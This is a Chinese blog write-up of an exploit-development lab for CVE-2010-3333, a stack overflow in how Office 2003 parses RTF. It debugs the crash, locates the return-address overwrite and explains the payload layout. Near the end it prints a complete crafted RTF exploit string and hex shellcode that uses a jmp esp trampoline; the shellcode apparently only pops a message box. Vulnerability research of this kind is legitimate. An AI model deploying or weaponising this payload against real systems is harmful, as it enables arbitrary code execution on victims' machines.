漏洞丨cve2010-3333

时间:2022-12-21 07:55:50

作者:黑蛋

一、漏洞简介

cve-2010-3333是一个Office 2003 的栈溢出漏洞,其原因是在文档中读取一个属性值的时候,没有对其长度验证,导致了一个溢出,看着很简单的一个漏洞,却又有点恶心人。

二、漏洞环境 系统

调试工具

目标程序

16进制编辑器

XP SP3

x32dbg

Microsoft Office 2003

010Editor

三、漏洞分析 首先用msf获取样本:

漏洞丨cve2010-3333

把我们的样本拖到XP SP3中,用x32dbg附加office 2003,打开样本:

漏洞丨cve2010-3333

卡在了这里,这是一个字符串拷贝,ESI指向的值拷贝到EDI指向的位置:

漏洞丨cve2010-3333

我们在这句前面下断点,重新用office 2003打开样本:

漏洞丨cve2010-3333

卡在了我们断点处:

漏洞丨cve2010-3333

在这里我们首先可以获取到拷贝长度的值,ECX的值,是:C8AC,我们查看esi的值:

漏洞丨cve2010-3333

F8运行俩步,走过rep movsd,我们再查看堆栈:

漏洞丨cve2010-3333

可以看到,ESI地址指向的值已经拷贝到了栈中EBP-10的位置向下。而返回地址在EBP+4的位置,我们已经可以确定淹没返回值的位置了。我们继续F8,但是发现程序跑飞,并没有按照正常流程发展,经过思考,应该是拷贝字符串过长,访问l无法访问的地址,导致异常,所以我们需要减少字符串拷贝长度,也就是异常代码上一句的ECX的值C8AC,直接用010Editor查看样本,很容易发现C8AC:

漏洞丨cve2010-3333

我们修改为1000,已经够我们用了,试试还会不会异常:

漏洞丨cve2010-3333

重新附加office2003并打开样本,ECX的值已经变成01000,并且可以不触发异常,正常走下去:

漏洞丨cve2010-3333

随后我们会发现,并没有出现弹栈返回的情况,观察这段溢出函数:

漏洞丨cve2010-3333

他并没有开辟新的栈,这里算是这个漏洞第一个恶心点,我们需要继续F8向下运行,直到这个函数返回,也就是执行完拷贝代码下面的第一个ret:

漏洞丨cve2010-3333

箭头指向的call就是关键call,他没有开辟栈空间,所以还需要向下执行:

漏洞丨cve2010-3333

F8走过接下来一个call,到了这里:

漏洞丨cve2010-3333

一直跟,直到返回到EBP+4的地址,结果一直到一个循环里面来回跑(第二个恶心点),我们重新加载,进入前面F8略过得call,下面断点那里:

漏洞丨cve2010-3333

进来了,继续调试:

漏洞丨cve2010-3333

结果发现还是进入了之前那个循环,所以继续重新调试,回到第二个call里面,发现里面有个call很关键,导致函数无法返回,进入一个循环:

漏洞丨cve2010-3333

我们在je这里修改标志位,跳过这个循环call:

漏洞丨cve2010-3333

然后一直F8,直到一个ret 14:

漏洞丨cve2010-3333

我们观察堆栈,这里就是我们想要的返回,只要淹没EBP+4的返回值,在这个ret我们就可以跳到shellcode,接下来我们需要观察如何让之前那个je跳转,而不是手动修改标志位,再次加载,回到第二个call(淹没代码ret后第一个call):

漏洞丨cve2010-3333

点击并拖拽以移动

发现这里EBP+10的值如果是0,就可以进行跳转,经过观察调试,发现这个值来自我们淹没返回值的payload中的某一个位置,所以接下来我们构造我们的payload,直接修改msf生成的样本(注意:所有字母必须全部换成小写):

{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;7;11111111001090909090909090900000000090909090909090901245fa7f9090909090909090909090909090909000000000fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd668b3c7b8b591c03dd032cbb955fab57613d6a0a381e75a933db53686666666668666666668bc453505053ff57fc53ff57f8909090900000}}}}

漏洞丨cve2010-3333

标记1处:这里是拷贝长度,不要太大,会造成异常; 标记2处:这里是跳板jmp esp的地址; 标记3处:这里是00000000,用来让je跳转,不要进入循环call; 标记4处:这里就是弹窗shellcode起始位置; shellcode如下:

FC686A0A381E686389D14F683274910C8BF48D7EF433DBB7042BE366BB33325368757365725433D2648B5A308B4B0C8B491C8B098B6908AD3D6A0A381E750595FF57F895608B453C8B4C057803CD8B592003DD33FF478B34BB03F5990FBE063AC47408C1CA0703D046EBF13B54241C75E48B592403DD668B3C7B8B591C03DD032CBB955FAB57613D6A0A381E75A933DB53686666666668666666668BC453505053FF57FC53FF57F8

接下来用x32dbg附加office2003,打开我们的payload看看情况: 漏洞丨cve2010-3333

拷贝成功,jmp esp地址成功淹没返回值,接下来观察je那里是否成功:

漏洞丨cve2010-3333

继续执行,到ret 14后:

漏洞丨cve2010-3333

成功到了jmp esp处,而esp指向我们的shellcode位置,继续执行,到我们弹窗代码:

漏洞丨cve2010-3333

F9运行,弹窗成功:

漏洞丨cve2010-3333

在这里补充一下最后一个恶心点,也是需要注意的地方,就是在构造payload时候,无论是跳板地址,或者我们的弹窗shellcode,都要把所有大写改成小写,否则加载到程序,会识别成其他东西,比如把跳板地址大写:

漏洞丨cve2010-3333

用office打开并到拷贝代码之前:

漏洞丨cve2010-3333

这里7FFA4512已经被识别成70004512。后面的弹窗shellcode也是一样。